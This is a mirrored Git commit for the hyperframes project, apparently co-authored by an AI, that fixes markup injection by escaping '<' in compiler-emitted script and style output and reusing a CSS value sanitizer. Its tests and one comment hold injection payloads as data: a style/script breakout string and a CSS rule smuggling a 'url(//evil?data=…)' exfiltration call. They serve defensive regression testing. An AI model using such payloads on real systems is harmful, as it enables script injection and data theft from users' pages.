mirror of
https://github.com/heygen-com/hyperframes.git
synced 2026-09-01 19:42:03 +00:00
fix(core): escape < in compiler-emitted composition variable CSS (#3072)
* fix(core): escape `<` in the compiler-emitted variables script `<script>` is a raw-text element: HTML serialization does not escape its content, and the tokenizer ends it at the first `</script`. The statement `buildVariablesByCompScript` emits embeds composition variables via `JSON.stringify`, which escapes `"` and `\` but not `/` — so a variable value, key, or composition id containing `</script>` terminated the element early and the remainder was parsed as markup, corrupting the compiled document. Rewrite `<` to its JSON unicode escape. This is transparent to JSON.parse, so the table the runtime reads is unchanged. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(core): centralize the JSON-in-script escape for every emitted literal Escaping only the variables table left the composition id exploitable through the wrapper it is emitted beside: wrapScopedCompositionScript serializes the comp id, timeline comp id, authored root id, scope-selector override, error label and two derived selector patterns with a bare JSON.stringify, and wrapInlineScriptWithErrorBoundary does the same for the composition's own source. All land in the same raw-text <script>, so any one of them could close the element and have the remainder parsed as markup. Route every literal through one jsonScriptLiteral helper instead of guarding per value — the comp id alone reaches the emitted script through four separate literals, which is how the first pass missed it. Tests cover each wrapper literal via a serialize/reparse round trip, and every payload now leads with a benign `<` ahead of its `</script`, so escaping only the first match no longer passes. * fix(core): escape `<` in compiler-emitted composition variable CSS Composition variable values are emitted as CSS declarations inside a `<style>` element. `<style>` is a raw-text element, so HTML serialization leaves its content unescaped and the tokenizer closes it at the first `</style` regardless of CSS string context. A value containing `</style>` therefore terminated the stylesheet and the remainder was parsed as markup. Escape `<` to `\\3c ` in `compositionVariablesCssBlock`. That is the CSS escape for `<`, valid in every value position — including inside an unquoted `url()`, whose grammar permits escape sequences — so rendering is unchanged. Variable ids need no equivalent: `cssVariableName` slugifies them. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(core): close the comp-id selector and match the runtime scalar contract Escaping the variable value left two holes on the same stylesheet. The composition id reaches the raw-text <style> through a generated attribute selector, and cssAttributeSelector escaped only backslash and quote — correct for the selector's own string grammar, irrelevant to element termination. A comp id carrying `</style>` therefore injected markup; escaping `<` there covers all three call sites at once and still matches the same attribute value. The value path also diverged from the runtime. applyVariableBindings strips [;{}<>\r\n] from a scalar before it reaches a var() site, and docs/concepts/variables.mdx promises that, but the compiler removed only `<` — so `red; } body { … }` emitted a real sibling rule at compile time that the runtime would have refused. The compiler now reuses that exported sanitizer, so a rendered MP4 cannot diverge from the preview it was approved from. Both are verified by mutation: reverting either escape resurrects an executing script or the smuggled `body` rule. --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Fable 5
parent
91db93aa34
commit
f9a20692f8
@@ -4,8 +4,9 @@ import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { parseHTML } from "linkedom";
|
||||
import { afterEach, beforeEach, describe, it, expect, vi } from "vitest";
|
||||
import { bundleToSingleHtml } from "./htmlBundler";
|
||||
import { bundleToSingleHtml, emitRootCompositionVariableStyles } from "./htmlBundler";
|
||||
import { resetUnknownEnumWarnings } from "../runtime/getVariables";
|
||||
import { sanitizeCssValue } from "../runtime/applyVariableBindings";
|
||||
import { getHyperframeRuntimeScript } from "../generated/runtime-inline";
|
||||
|
||||
function makeTempProject(files: Record<string, string>): string {
|
||||
@@ -1510,3 +1511,75 @@ describe("bundleToSingleHtml unknown enum values", () => {
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Composition variable values are emitted as CSS declarations inside a `<style>`
|
||||
* element. `<style>` is a RAW TEXT element: HTML serialization does not escape its
|
||||
* content and the tokenizer closes it at the first `</style`. An unescaped value could
|
||||
* therefore close the element and have the remainder parsed as markup.
|
||||
*/
|
||||
describe("emitRootCompositionVariableStyles — <style> breakout", () => {
|
||||
/**
|
||||
* The payload leads with a benign `<` before its `</style`, so escaping or
|
||||
* stripping only the first match does not pass: that pins the `/g` flag rather
|
||||
* than merely "something ran". A lone `<` in a value (`a < b`) is the common case.
|
||||
*/
|
||||
const BREAKOUT = "x<y</style><script>window.__pwned=1</script><style>";
|
||||
|
||||
/** Emit into a document, serialize it the way the compilers do, then re-parse. */
|
||||
function scriptsAfterRoundTrip(
|
||||
variablesByComp: Record<string, Record<string, unknown>>,
|
||||
body = "x",
|
||||
) {
|
||||
const { document } = parseHTML(`<!doctype html><html><head></head><body>${body}</body></html>`);
|
||||
emitRootCompositionVariableStyles(document, variablesByComp);
|
||||
const { document: reparsed } = parseHTML(document.toString());
|
||||
return {
|
||||
scripts: [...reparsed.querySelectorAll("script")].map((s) => s.textContent ?? ""),
|
||||
css: [...reparsed.querySelectorAll("style")].map((s) => s.textContent ?? "").join("\n"),
|
||||
reparsed,
|
||||
};
|
||||
}
|
||||
|
||||
it("does not let a variable VALUE close the style element", () => {
|
||||
const { scripts } = scriptsAfterRoundTrip({ "comp-a": { brand: BREAKOUT } });
|
||||
expect(scripts).toEqual([]);
|
||||
});
|
||||
|
||||
it("does not let a COMP ID close the style element through the generated selector", () => {
|
||||
// The comp id reaches the stylesheet as an attribute selector, which is escaped
|
||||
// for selector-string syntax but says nothing about element termination.
|
||||
const { scripts, css } = scriptsAfterRoundTrip(
|
||||
{ [`comp-a${BREAKOUT}`]: { brand: "#fff" } },
|
||||
'<div data-composition-id="comp-a"></div>',
|
||||
);
|
||||
expect(scripts).toEqual([]);
|
||||
expect(css).not.toContain("</style");
|
||||
});
|
||||
|
||||
it("strips the characters that smuggle a sibling rule, matching the runtime", () => {
|
||||
// `sanitizeCssValue` is the runtime contract for a scalar folded into
|
||||
// `background: var(--x)`; the compile path has to reach the same result, or a
|
||||
// rendered MP4 diverges from the preview it was approved from.
|
||||
const smuggle = "red; } body { background-image: url(//evil?data=1) } x { y:z";
|
||||
const { css } = scriptsAfterRoundTrip({ "comp-a": { brand: smuggle } });
|
||||
|
||||
expect(css).not.toContain("body {");
|
||||
// One rule, one declaration: with no `;{}` left in the value there is nothing to
|
||||
// close the declaration with, so no sibling rule can be opened.
|
||||
expect(css.match(/\}/g) ?? []).toHaveLength(1);
|
||||
expect(css).toContain(`--brand: ${sanitizeCssValue(smuggle)};`);
|
||||
});
|
||||
|
||||
it("strips '<' from a value the way the runtime does", () => {
|
||||
const { css, scripts } = scriptsAfterRoundTrip({ "comp-a": { brand: "a<b" } });
|
||||
expect(scripts).toEqual([]);
|
||||
expect(css).not.toContain("a<b");
|
||||
expect(css).toContain("ab");
|
||||
});
|
||||
|
||||
it("leaves values without '<' untouched", () => {
|
||||
const { css } = scriptsAfterRoundTrip({ "comp-a": { brand: "#ff0066" } });
|
||||
expect(css).toContain("#ff0066");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { markFlattenedInnerRoot } from "../runtime/flattenedRoot";
|
||||
export { FLATTENED_INNER_ROOT_STRIP_ATTRS } from "../runtime/flattenedRoot";
|
||||
import { parseHostVariableValues, warnUnknownEnumValues } from "../runtime/getVariables";
|
||||
import { sanitizeCssValue } from "../runtime/applyVariableBindings";
|
||||
import { cssVariableName } from "../tokenSlug";
|
||||
import { readFileSync, existsSync } from "fs";
|
||||
import { resolve, relative, dirname, isAbsolute, sep } from "path";
|
||||
@@ -389,8 +390,17 @@ function rewriteCssUrlsWithInlinedAssets(cssText: string, projectDir: string): s
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Selectors built here are serialized inside a `<style>` element, which is a RAW
|
||||
* TEXT element: the tokenizer ends it at the first `</style` regardless of CSS
|
||||
* context, and the serializer does not escape its content. Backslash and quote
|
||||
* escaping keeps the selector's own string grammar valid; it does nothing about
|
||||
* element termination, so `<` needs the CSS hex escape too. `\3c ` is legal
|
||||
* wherever a string is, and matches the same attribute value, so selectors keep
|
||||
* matching. The trailing space terminates the escape.
|
||||
*/
|
||||
function cssAttributeSelector(attr: string, value: string): string {
|
||||
const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
|
||||
const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/</g, "\\3c ");
|
||||
return `[${attr}="${escaped}"]`;
|
||||
}
|
||||
|
||||
@@ -1135,6 +1145,37 @@ export async function bundleToSingleHtml(
|
||||
return document.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Make a scalar variable value safe to bake into a stylesheet.
|
||||
*
|
||||
* Two independent hazards, so two layers:
|
||||
*
|
||||
* 1. `sanitizeCssValue` is the runtime's own contract (`applyVariableBindings`,
|
||||
* and `docs/concepts/variables.mdx` promises it): a scalar folded into
|
||||
* `background: var(--x)` must not be able to close the declaration and open a
|
||||
* new rule (`red; } body { background-image: url(//evil?data=…) }`). The
|
||||
* compile path has to reach the same result as the runtime — a value the
|
||||
* runtime strips but a compile-time emit honours would make the rendered MP4
|
||||
* diverge from the preview.
|
||||
* 2. These rules are then serialized inside a `<style>` element, which is a RAW
|
||||
* TEXT element: HTML serialization does not escape its content and the
|
||||
* tokenizer ends it at the first `</style`. `\3c ` is the CSS escape for `<`,
|
||||
* valid in every value position including inside an unquoted `url()`, and
|
||||
* resolves back to `<`, so rendering is unchanged. The trailing space is
|
||||
* consumed as part of the escape.
|
||||
*
|
||||
* The sanitizer already removes `<`, so today layer 2 is redundant for values
|
||||
* and load-bearing only for the selector (`cssAttributeSelector`, which must
|
||||
* preserve `<` to keep matching). It stays because the two layers answer to
|
||||
* different rules: narrowing the scalar character set must not silently reopen
|
||||
* an element-termination hole.
|
||||
*
|
||||
* Variable IDs need no equivalent: `cssVariableName` slugifies them.
|
||||
*/
|
||||
function cssSafeVariableValue(value: string | number): string {
|
||||
return sanitizeCssValue(String(value)).replace(/</g, "\\3c ");
|
||||
}
|
||||
|
||||
/** One stylesheet rule defining primitive composition variables under `selector`. */
|
||||
function compositionVariablesCssBlock(
|
||||
variables: Record<string, unknown>,
|
||||
@@ -1143,7 +1184,7 @@ function compositionVariablesCssBlock(
|
||||
const lines: string[] = [];
|
||||
for (const [id, value] of Object.entries(variables)) {
|
||||
if ((typeof value === "string" && value !== "") || typeof value === "number") {
|
||||
lines.push(` ${cssVariableName(id)}: ${String(value)};`);
|
||||
lines.push(` ${cssVariableName(id)}: ${cssSafeVariableValue(value)};`);
|
||||
}
|
||||
}
|
||||
if (lines.length === 0) return null;
|
||||
|
||||
@@ -75,8 +75,13 @@ function isSafeMediaUrl(url: string): boolean {
|
||||
* characters is legal in a scalar variable value (string, number, color, font
|
||||
* family), so removing them is lossless for real inputs and neutralizes the
|
||||
* declaration/URL-exfiltration channel.
|
||||
*
|
||||
* Exported because the static compiler bakes the same scalars into a stylesheet
|
||||
* at build time and has to reach the same result: a value that the runtime
|
||||
* strips but a compile-time emit passes through would make the rendered MP4
|
||||
* differ from the preview, which is the more dangerous of the two directions.
|
||||
*/
|
||||
function sanitizeCssValue(value: string): string {
|
||||
export function sanitizeCssValue(value: string): string {
|
||||
return value.replace(/[;{}<>\r\n]/g, "");
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user